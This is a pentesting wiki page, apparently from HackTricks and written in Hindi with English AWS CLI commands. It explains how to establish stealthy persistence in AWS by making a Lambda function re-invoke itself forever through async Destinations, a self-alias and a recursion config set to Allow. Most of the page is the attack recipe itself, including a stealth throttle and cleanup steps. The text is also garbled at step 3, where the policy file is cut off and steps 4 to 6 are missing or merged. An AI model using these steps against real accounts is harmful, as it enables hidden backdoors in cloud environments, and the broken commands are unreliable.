# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow {{#include ../../../../banners/hacktricks-training.md}} Lambda के asynchronous Destinations और Recursion configuration का दुरुपयोग करके किसी function को बिना किसी external scheduler (कोई EventBridge, cron, आदि नहीं) लगातार खुद को पुनः-invoke करने के लिए मजबूर किया जा सकता है। डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate कर देता है, लेकिन recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations async invokes के लिए service-side पर deliver करते हैं, इसलिए एक single seed invoke एक stealthy, बिना code वाला heartbeat/backdoor channel बना देता है। शोर कम रखने के लिए optional रूप से reserved concurrency के साथ throttle करें। नोट्स - Lambda सीधे तौर पर function को उसका खुद का destination बनाने की अनुमति नहीं देता। destination के रूप में function alias का उपयोग करें और execution role को उस alias को invoke करने की अनुमति दें। - Minimum permissions: target function के event invoke config और recursion config को read/update करने की क्षमता, एक version publish करने और alias manage करने की क्षमता, और function के execution role policy को update करने की क्षमता ताकि alias पर lambda:InvokeFunction की अनुमति दी जा सके। ## आवश्यकताएँ - Region: us-east-1 - Vars: - REGION=us-east-1 - TARGET_FN= ## चरण 1) function ARN और वर्तमान recursion setting प्राप्त करें ``` FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text) aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true ``` 2) एक संस्करण प्रकाशित करें और एक alias बनाएं/अपडेट करें (self destination के रूप में उपयोग किया जाता है) ``` VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text) if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION else aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION fi ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text) ``` 3) फ़ंक्शन निष्पादन भूमिका को alias को invoke करने की अनुमति दें (Lambda Destinations→Lambda के लिए आवश्यक) ``` # Set this to the execution role name used by the target function ROLE_NAME= cat > /tmp/invoke-self-policy.json </dev/null ``` 7) लगातार invocations का अवलोकन करें (उदाहरण) ``` # Recent logs (if the function logs each run) aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text # or check CloudWatch Metrics for Invocations increasing ``` 8) वैकल्पिक स्टील्थ थ्रॉटल ``` aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION ``` ## सफाई loop को तोड़ें और persistence हटाएँ। ``` aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true # Optional: delete alias and remove the inline policy when finished aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true ROLE_NAME= aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true ``` ## Impact - Single async invoke Lambda को किसी बाहरी scheduler के बिना लगातार खुद को पुनः invoke करने का कारण बनता है, जिससे stealthy persistence/heartbeat सक्षम होता है। Reserved concurrency शोर को एक single warm execution तक सीमित कर सकता है। {{#include ../../../../banners/hacktricks-training.md}}